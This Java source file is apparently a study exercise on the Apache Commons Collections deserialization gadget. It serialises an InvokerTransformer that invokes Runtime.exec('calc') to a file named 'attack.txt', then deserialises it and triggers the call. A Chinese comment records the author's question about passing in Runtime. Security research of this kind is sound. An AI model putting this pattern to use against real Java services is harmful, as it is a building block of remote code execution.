package com.hyf.collections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;

/**
 * @author baB_hyf
 * @date 2021/03/28
 */
public class T2 {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer transformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"});
        File file = new File("attack.txt");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(transformer);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Transformer o = (Transformer)ois.readObject();
        o.transform(Runtime.getRuntime()); // 用户必须传入Runtime?
        ois.close();
    }
}
